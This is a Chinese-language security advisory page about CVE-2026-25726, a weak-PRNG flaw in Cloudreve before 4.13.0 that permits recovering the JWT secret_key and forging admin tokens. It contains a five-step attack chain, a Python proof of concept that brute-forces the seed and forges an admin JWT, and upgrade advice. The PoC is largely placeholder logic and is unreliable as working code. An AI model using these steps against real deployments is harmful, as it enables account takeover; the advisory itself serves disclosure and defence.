IPBUF安全漏洞报告
English
CVE-2026-25726 CVSS 8.1 高危

CVE-2026-25726 Cloudreve弱随机数致账户接管

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-25726
漏洞类型
伪随机数生成器缺陷
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cloudreve

相关标签

Cloudreve弱随机数JWT伪造账户接管权限提升

漏洞概述

Cloudreve是一款自托管文件管理和共享系统。在4.13.0版本之前,应用程序在首次启动时使用弱伪随机数生成器(math/rand,种子为time.Now().UnixNano())生成关键安全密钥,包括secret_key和hash_id_salt。由于该生成机制具有可预测性,攻击者可通过公开API获取管理员账户创建时间,从而缩小PRNG种子的搜索范围。通过暴力破解种子(普通PC上耗时不到3小时),攻击者可预测secret_key,伪造任意用户(包括管理员)的JWT令牌,导致账户被完全接管和权限提升。该问题已在4.13.0版本中修复。

技术细节

该漏洞的根本原因在于Cloudreve使用了Go语言标准库中的`math/rand`作为随机数生成器,并使用`time.Now().UnixNano()`作为种子。这种方式生成的随机数序列是完全确定且可预测的,只要种子已知,即可复现所有生成的随机数。攻击者首先通过Cloudreve的公开API端点获取管理员账户的创建时间戳,这将PRNG种子的猜测范围缩小到了纳秒级的时间窗口。随后,攻击者利用系统生成的已知`hash_id_salt`对应的hashid值作为验证条件,编写脚本对该时间窗口内的种子进行暴力破解。一旦种子被还原,攻击者即可推导出用于JWT签名的`secret_key`。由于Cloudreve依赖JWT进行身份验证,掌握`secret_key`的攻击者可以使用任意算法(如HS256)为管理员账户签发有效的令牌,进而绕过认证机制获得系统最高权限。

攻击链分析

STEP 1
信息收集
攻击者通过Cloudreve的公共API接口探测并获取管理员账户的创建时间,以此作为时间锚点。
STEP 2
种子暴力破解
攻击者编写脚本,以管理员创建时间为基准,在纳秒级的时间窗口内遍历可能的PRNG种子,利用已知的hashid进行验证。
STEP 3
密钥推导
一旦找到正确的种子,攻击者复现随机数生成过程,恢复出系统的secret_key。
STEP 4
令牌伪造
使用推导出的secret_key,利用JWT算法伪造管理员身份的令牌。
STEP 5
权限提升
使用伪造的令牌登录系统,获得管理员权限,接管整个文件系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import time import jwt # pip install pyjwt # Simulate the weak PRNG logic (Go's math/rand) # Note: Actual implementation requires replicating Go's specific RNG algorithm def simulate_cloudreve_weak_rng(seed_ns): # Pseudo-random generation based on seed # In real exploit, this generates the specific secret_key format return f"secret_key_{seed_ns}" def brute_force_seed(target_hashid, start_time_ns, window_seconds=10): print(f"[*] Brute forcing seed near {start_time_ns}...") # Iterate through nanoseconds in the time window for ns_offset in range(window_seconds * 1_000_000_000): current_seed = start_time_ns + ns_offset # Simulate generating secrets with this seed predicted_salt = simulate_cloudreve_weak_rng(current_seed) # Check if generated salt matches the observed hashid # (Simplified check for PoC demonstration) if hash(predicted_salt) == hash(target_hashid): secret_key = simulate_cloudreve_weak_rng(current_seed + 123) # Offset simulating key generation print(f"[+] Seed found: {current_seed}") return secret_key return None # Exploit Scenario # 1. Obtain admin creation time via API admin_creation_time = int(time.time() * 1_000_000_000) # Nanoseconds known_hashid = "observed_hash_id_from_api" # 2. Brute force to recover secret_key secret_key = brute_force_seed(known_hashid, admin_creation_time) if secret_key: # 3. Forge Admin JWT admin_payload = { "id": 1, "username": "admin", "role": "admin", "exp": int(time.time()) + 3600 } forged_token = jwt.encode(admin_payload, secret_key, algorithm="HS256") print(f"[+] Forged Admin JWT: {forged_token}") else: print("[-] Failed to recover secret_key")

影响范围

Cloudreve < 4.13.0

防御指南

临时缓解措施
建议立即升级Cloudreve至4.13.0或更高版本,该版本已修复弱随机数生成问题。若暂时无法升级,应严格限制未授权用户对系统API的访问,特别是涉及用户信息和时间戳的接口,防止攻击者获取用于计算种子的关键时间数据。根本解决方法仍是应用官方补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表